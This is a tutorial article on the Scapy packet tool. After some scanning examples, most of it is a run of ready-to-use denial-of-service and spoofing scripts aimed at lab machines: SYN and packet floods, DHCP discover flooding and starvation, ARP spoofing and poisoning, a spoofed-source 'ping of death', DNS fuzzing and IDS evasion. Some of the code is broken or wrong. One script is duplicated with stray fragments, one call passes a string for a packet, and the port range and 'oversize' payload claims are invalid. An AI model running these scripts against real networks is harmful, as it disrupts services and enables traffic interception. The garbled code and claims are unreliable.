by Saad Babar
Scapy is a powerful Python-based packet manipulation tool that allows you to dissect, send, and construct network packets. It provides a library of Python classes and functions that you can use to create and operate packets. It also includes a command-line interface that allows you to interact with the tool using simple commands and scripts.
Scapy is a very flexible tool that can be used to perform a variety of tasks, including:
- Sending custom packets over the network
- Sniffing packets and obtaining information from them
- Dissecting packets and extracting specific fields or payloads
- Forging packets with arbitrary contents and headers
- Scanning networks and discovering hosts and services
This tool is widely used by network professionals, security researchers, and developers for tasks such as testing network security, capturing packets for analysis, and developing new network protocols. It is also commonly used in educational settings to teach students about network protocols and packet manipulation.
Scapy can be installed using the pip module of Python. This can be carried out by entering the following command in the terminal/cmd:
python -m pip install scapy
Once installed, we can run it by typing ‘scapy’ in the terminal/cmd OR we can create a Python script and import Scapy in that script.
How to perform network scanning with Scapy?
There are several ways to perform network scanning with Scapy that depend on the specific information one is trying to retrieve and the type of scan to be performed. Here are a few examples:
- Ping sweep: A ping sweep is a simple scan that sends an ICMP Echo Request (ping) packet to a range of IP addresses and waits for an Echo Reply. To perform a ping sweep with Scapy, you can use the sr() function to send the ping packets and the srp() function to send and receive packets at the same time. Here is an example of a ping sweep that scans the 192.168.1.0/24 subnet:
from scapy.all import *
for ip in range(1, 255):
packet = IP(dst="192.168.1." + str(ip))/ICMP()
response = sr1(packet, timeout=1, verbose=0)
if response:
print(f"Host {response.src} is up")
else:
print(f"Host 192.168.1.{ip} is down or not responding")
- Port scan: A port scan is a scan that sends packets to specific port numbers on a host to determine which services are running. To perform a port scan with Scapy, you can use the sr() or sr1() functions to send packets to specific port numbers and analyze the response. Here is an example of a simple TCP port scan that checks for common services on a host:
from scapy.all import *
common_ports = [21, 22, 23, 25, 53, 80, 110, 443]
for port in common_ports:
packet = IP(dst="192.168.1.1")/TCP(dport=port)
response = sr1(packet, timeout=1, verbose=0)
if response:
print(f"Port {port} is open")
else:
print(f"Port {port} is closed")
- Network discovery: Network discovery is the process of finding active hosts and devices on a network. To perform network discovery with Scapy, you can use the arping() function to send ARP (Address Resolution Protocol) requests to all hosts on a subnet and analyze the responses. Here is an example of a simple network discovery scan that prints the IP and MAC address of all active hosts on the 192.168.1.0/24 subnet:
from scapy.all import *
ans, unans = arping("192.168.1.0/24")
for s, r in ans:
print(f"Host {r.psrc} ({r.hwsrc}) is up")
These are just a few examples of the types of network scans that you can perform with Scapy. You can find more information regarding the application of Scapy for network scanning in the official Scapy documentation and in various online resources and tutorials.
Attacks with Scapy
Following are some of the attacks that we can perform with Scapy.
Lab setup:
Kali Linux is for attacking. Windows XP VM and Windows 10 host are victim machines.
The IP address of both attacking and victim machines in this case to be used in Scapy scripts.
IP Address of Kali Linux = 192.168.254.147
IP Address of Windows XP = 192.168.254.148
Code 1: Sending large set of IP packets for Denial of Service Attack
from scapy.all import *
send(IP(src="192.168.254.147",dst="192.168.254.148")/TCP(sport=135,
dport=135), count=20000)
This code tells the system to send 20000 TCP packets from source IP to destination IP with the specified source and destination port. The number of packets is less than the set count as this allows for a forceful exit.
Response:
The Windows XP machine was responding slowly with high CPU usage.
Code 2: Using DHCP for DOS
sudo scapy
conf.checkIPaddr = False
dhcp_discover=Ether(src=RandMAC(),dst=”ff:ff:ff:ff:ff”)/IP(src=”0.0.0.0”,
dst=”255.255.255.255”)/UDP(sport=68, dport=67)/BOOTP(chaddr=RandString(12,
‘0123456789abcdef’))/DHCP(options=[(‘message-type’, ‘discover’),’end’])
Below is the same code as a Python script
from scapy.all import *
conf.checkIPaddr = False
dhcp_discover=Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff")/IP(src="0.0.0.0",
dst="255.255.255.255")/UDP(sport=68, dport=67)/BOOTP(chaddr=RandString(12,
'0123456789abcdef'))/DHCP(options=[('message-type', 'discover'),'end'])
Response:
The Windows XP machine was responding slowly with high CPU usage.
Now send this packet with loop=1 using the following command:
- send(dhcp_discover, loop=1)
Or add the line below in your Python script
send('dhcp_discover', loop=1)
Response:
The host system (Windows 10) and Windows XP VM were slowed down.
Code 3: SYN Flood Attack with Scapy.
SYN Flood Attack is a DOS attack in which Attack uses TCP 3-way Handshake technique and sends huge SYN packets such that the system resources are filled completely. This code takes source IP and destination IP and sends SYN packets in the range of 1-70000.
Code:
from scapy.all import *
def sycAttack(src,tgt):
for sport in range(1,70000):
L3=IP(src=src,dst=tgt)
L4=TCP(sport=sport,dport=1337)
pkt=L3/L4
send(pkt)
src="192.168.254.147"
tgt="192.168.100.4"
sycAttack(src,tgt)
Output:
SYN packets will be sent to the destination address 70000 times. In this process, the victim machine was slowed down. It can even crash, and the hacker can take web servers down using this technique.
Code 4: ARP DOS Attack
ARP DOS Attack is the attack in which the victim machine is loaded with fake ARP entry in its ARP
Table so that the victim is not able to use the desired internet services.
Victim IP: 192.168.254.147 //using ipconfig in Windows
Victim Gateway: 192.168.254.2
Code:
from scapy.all import *
from time import sleep
target="192.168.254.147" #Window XP IP
router="192.168.254.2" # Gateway or Router
packet=ARP()
packet.psrc=router #Change to Gateway
packet.pdst= target # Change to victim
packet.hwsrc='00:40:f4:b0:5e:81' #Fake MAC Address
try:
while 1:
send(packet, verbose=0)
sleep(10)
except:
print("\n")
pass
Output:
The figure shows the ARP Table in Windows XP before and after executing the code in Kali Linux. The new entry with the IP address of Windows XP and our fake MAC is added. The traffic is directed to the fake MAC we provided and the internet service was interrupted, therefore, indicating a DOS attack. The same code can be modified for ARP.
Poisoning Attack in which traffic will be directed to the Attacker. The modification will include changing the Fake MAC Address with the Attackers MAC Address.
Code 5: Ping of Death Attack
Ping of Death is a type of DOS attack in which the attacker sends packets larger than the allowed number of packets, i.e., 65,536 bytes. The attacker sends large data with ICMP Ping packets and does not wait for replies. The victim machine cannot handle this and, as a result, the service is interrupted.
Code:
from scapy.all import *
import random
def address_spoofer():
addr = [192, 168, 254, 148] # Break IP into 4 Octets for spoofing
d = '.'
addr[0] = str(random.randrange(11, 197)) #Load first octet with random-
#numbers in range 11-197
addr[1] = str(random.randrange(0, 255)) #Load second octet
addr[2] = str(random.randrange(0, 255)) #Load third octet
addr[3] = str(random.randrange(2, 254)) #Load fourth octet
assemebled = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
print (assemebled)
return (assemebled)
target = input("Enter the target to attack: ")
while True:
rand_addr = address_spoofer()
ip_hdr = IP(src=rand_addr, dst=target) #Source is fake address
packet = ip_hdr / ICMP() / ("A" * 60000)# send 60000 bytes of Data
send(packet)
Output:
ICMP Packets that appears from a different IP Address is sent in large quantity for Ping of Death DOS Attack.
Code 6: Reducing ttl field to interrupt response
When the ttl (Time to live) will be short, the packet will not reach in the desired time, and it will be lost.
Code:
Open terminal and type:
sudo scapy
reply= sr1(IP(dst="192.168.254.148", ttl=1)/UDP())
reply
for ttl in range(10):
packet=IP(dst="192.168.254.148", ttl=ttl)/UDP()
reply=sr1(packet,verbose=0,timeout=0.5)
if reply is not None:
print reply.src
Python Script:
from scapy.all import *
for ttl in range(10):
packet=IP(dst="192.168.254.148", ttl=ttl)/UDP()
reply=sr1(packet,verbose=0,timeout=0.5)
if reply is not None:
print (reply.src)
Output:
Code 7: Changing the Default Gateway
With Scapy, we will change the default gateway of the Victim machine to the Attacker’s machine.
Victim Machine: 192.168.254.148 Gateway: 192.168.254.2
Attacker Machine: 192.168.254.147
Now change the Gateway of host 192.168.254.148 using the following code in Kali Linux:
- conf.route.add(host=”192.168.254.148′′, gw=”192.168.254.147′′)
After adding this script, the output is as follows:
- conf.route.resync allows the settings to be reset.
Code 8: DNS Fuzzing with Scapy
DNS Fuzzer:
DNS Fuzzing is the attack on DNS Servers by sending randomly generated valid DNS Packets.
Code:
import sys
from scapy.all import *
while True:
sr(IP(dst="192.168.254.148")/UDP()/fuzz(DNS()),inter=1,timeout=1)
Output:
Alternatively, DNS Fuzzing can be performed with nmap as below:
nmap -sU --script dns-fuzz --script-args timelimit=2h <target>
Code 9: DHCP Starvation Attack
DHCP Starvation is the attack on DHCP servers by sending enough packets with fake MAC Addresses so that there is not enough space on DHCP Servers to provide Dynamic IP Addresses for a period of time.
Code:
#!/usr/bin/env python
#Shreyas Damle
import sys
import os
from scapy.all import *
def main():
layer2_broadcast = "ff:ff:ff:ff:ff:ff" # for sending broadcast MAC Address.
conf.checkIPaddr = False #To stop scapy from checking return packet originating from any
packet that we have sent out
IP_address_subnet = "192.168.254."
def dhcp_starvation():
for ip in range (100,201):
for i in range (0,8):
bogus_mac_address = RandMAC() # Fake MAC address
dhcp_request = Ether(src=bogus_mac_address, dst=layer2_broadcast)/IP(src="0.0.0.0",
dst="255.255.255.255")/UDP(sport=68,
dport=67)/BOOTP(chaddr=bogus_mac_address)/DHCP(options=[("message-
type","request"),("server_id","10.10.111.1"),("requested_addr", IP_address_subnet +
str(ip)),"end"])
sendp(dhcp_request)
print "Requesting: " + IP_address_subnet + str(ip) + "\n"
time.sleep(1)
dhcp_starvation()
if __name__=="__main__":
main()
type","request"),("server_id","10.10.111.1"),("requested_addr", IP_address_subnet +
str(ip)),"end"])
sendp(dhcp_request)
print "Requesting: " + IP_address_subnet + str(ip) + "\n"
time.sleep(1)
dhcp_starvation()
if __name__=="__main__":
main()
Output:
Code 10: Sending packets with random source ports.
This code sends the packets with a random TCP source port so that it looks like a real Packet Transmission. This allows it to avoid detection by Firewalls and IDS.
Code:
sudo scapy
sr(IP(dst=”192.168.254.148”, tos=184)/TCP(dport=80, sport=RandShort()))
Where tos =Type of Service and RandShort() is for Random source ports.
Python script:
from scapy.all import *
sr(IP(dst="192.168.254.148", tos=184)/TCP(dport=80, sport=RandShort()))
Output:
Conclusion:
Scapy is a powerful tool to perform packet manipulation for network security assessments. It can be used to create custom automation tools for automated security operations. The above attacks shall only be used for educational and learning purposes. Any misuse of these scripts will not be the author’s responsibility.
In the end, I would like to thank my friend Muhammad Taha Siddiqui for collaborating. Also, I would like to thank my wife for editing this article.
My Linkedin Profile: https://www.linkedin.com/in/saad-babar-33208519/